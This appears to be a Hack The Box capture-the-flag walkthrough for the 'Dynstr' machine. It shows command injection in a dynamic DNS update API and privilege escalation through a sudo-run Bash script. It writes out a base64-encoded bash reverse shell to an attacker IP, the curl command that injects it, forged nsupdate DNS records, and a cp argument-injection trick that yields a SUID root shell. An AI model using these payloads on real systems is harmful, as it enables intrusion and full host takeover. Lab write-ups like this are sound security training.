CTF Walkthroughs, Hack The Box

Hack The Box – Dynstr Walkthrough

Introduction

This was an intermediate Linux machine that required to exploit a remote code execution vulnerability in the DYN application and to exploit a vulnerable Bash script to escalate privileges to Root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The scan has identified three open ports: port 22 (SSH), port 53 (DNS) and port 80 (HTTP), the next step will be to start enumerating HTTP.

Enumerating HTTP

The following page is displayed when accessing the web server’s home page:

The “Our Services” section of the site reveals some credentials:

The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:

  • dir to specify the scan should be done against directories and files
  • -u to specify the target URL
  • -w to specify the word list to use
  • -x to specify the extensions to enumerate
  • -t to specify the number of concurrent threads

The scan has found /update and /nic entries. When performing another scan against /nic, /update is found:

When navigating to it, a “badauth” message is displayed:

This probably indicates basic HTTP authentication is required. When providing the credentials found earlier, a “nochg” message is returned:

When searching for it, the first result is from the return codes for Dyn, a dynamic DNS application:

It seems to be an API used to interact with dynamic DNS, this particular endpoint is used to update records:

The following page shows information about the “update” API:

When navigating to perform update page, it shows how to build the request. It needs a hostname and the “myip” parameter:

By looking at the documentation, it appears the hostname parameter will have a hostname, and then the actual DNS name:

Sending a request using the DNS name mentioned in the site wouldn’t work, but adding a sub domain to it worked:

Exploiting DYN

Judging by the request, it appears the server might be performing a command with the “hostname” and “myip” parameters provided, so these could be manipulated in order to obtain remote code execution.

The “myip” parameter did not appear to matter in the request, and injecting into it would not affect the response. After trying to inject a few special characters in hostname, it didn’t seem to work. The only way was to base-64 encode the payload:

Base-64 encoding reverse shell command – the payload will need to look as follows:

echo 'YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjQvNDQzIDwmMQ==\' | base64 -d | bash

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

URL-encoding key characters in the payload and using the following curl command to execute a reverse shell:

curl -u dynadns:sndanyd $'http://10.10.10.244 /nic/update?hostname=`echo+\'YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjQvNDQzIDwmMQ%3d%3d\'+|+base64+-d+|+bash`test.dnsalias.htb&myip=10.10.14.4'

This has granted a reverse shell as the www-data user.

Found an uncommon “support-case-C62796521” folder in bindmgr’s home directory:

One of the files contains a private SSH key:

The key wouldn’t work, unfortunately:

This is because the authorized_keys file contains a rule to only allow connections from *infra.dyna.htb:

This requires a new PTR record to be added to the host, pointing at theattacker machine. it appears a key is being used for infra:

The NSUpdate command can be used for this:

https://www.ibm.com/docs/en/i/7.4?topic=ssw_ibm_i_74/cl/nsupdate.htm

Adding a reverse DNS record for test.infra.dyna.htb:

nsupdate -k /etc/bind/infra.key
update add test.infra.dyna.htb 86400 A 10.10.14.4
update add 4.14.10.10.in-addr.arpa 86400 PTR test.infra.dyna.htb
send
quit

This time connecting via SSH with the private key worked:

Privilege Escalation

When executing sudo -l, it appears the /usr/local/bin/bindmgr.sh can be executed by the current user as root:

Adding comments to the script to understand better what it does

#!/usr/bin/bash                                                                                                                                                                                                                             
                                                                                                                                                                                                                                            
# This script generates named.conf.bindmgr to workaround the problem                                                                                                                                                                        
# that bind/named can only include single files but no directories.                                                                                                                                                                         
#                                                                                                                                                                                                                                           
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
#       named.conf.bindmgr. 
#
# TODO: Currently the script is only adding files to the directory but
#       not deleting them. As we generate the list of files to be included
#       from the source directory they won't be included anyway.

BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr

indent() { sed 's/^/    /'; }

# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
#Stef - Checks if a .version file exists, if it doesn't it will exit
if [[ ! -f .version ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 42
fi
#Stef - If the file exists, it reads the contents of it and compares it with a .version file in /etc/bind/named.bindmgr. If the result is less or equal to it the script will exit
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
    echo "[-] ERROR: Check versioning. Exiting."
    exit 43
fi

# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
#Stef - goes through files in the current directory and includes them to a config file in /etc/bind/named.conf.bindmgr
for file in * ; do
    printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done

# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
#Stef - it then copies the .version file and all other files to /etc/bind/named.bindmgr/
cp .version * /etc/bind/named.bindmgr/

# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
#Stef - it checks the syntax of the configuration file created, if it is invalid the script will exit
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
    echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
    named-checkconf $BINDMGR_CONF 2>&1 | indent
    exit 44
else 
#Stef - if it is valid it will restart bind9, although this has been commented
    echo "[+] Configuration successfully staged."
    # *** TODO *** Uncomment restart once we are live.
    # systemctl restart bind9
    if [[ $? -ne 0 ]] ; then
        echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
        systemctl status bind9
    else
        echo "[+] Restart of bind9 via systemctl succeeded."
    fi
fi

Testing the script to see if it works as expected:

The cp command could be abused, as once a file is copied it will then be owned by root. An executable could be assigned to the SUID permissions but once moved the permission would be lost. Luckily, there is a –preserve=mode flag that allows to maintain permissions:
https://www.makeuseof.com/preserve-file-permissions-in-linux-while-copying-them/

Copying the /bin/bash binary to the current directory, giving it SUID permissions, creating a –preserve=mode file so that it will be used as a flag when the “cp” command from the script is run and executing the script.

The SUID root Bash binary was created: (the — in the touch command indicates the end of arguments so that the filename won’t be parsed as one)

cp /bin/bash .
chmod +s bash
touch -- --preserve=mode
sudo /usr/local/bin/bindmgr.sh

After executing it with the -p flag, which allows to execute binaries as the owner of it, this grants root access to the host:

Conclusion

This box was great as it gives you an idea of how 0-day remote code execution vulnerabilities can often be found in web applications, by observing how parameters are parsed or used by applications. The privilege escalation part was also a typical example of how custom scripts can be exploited.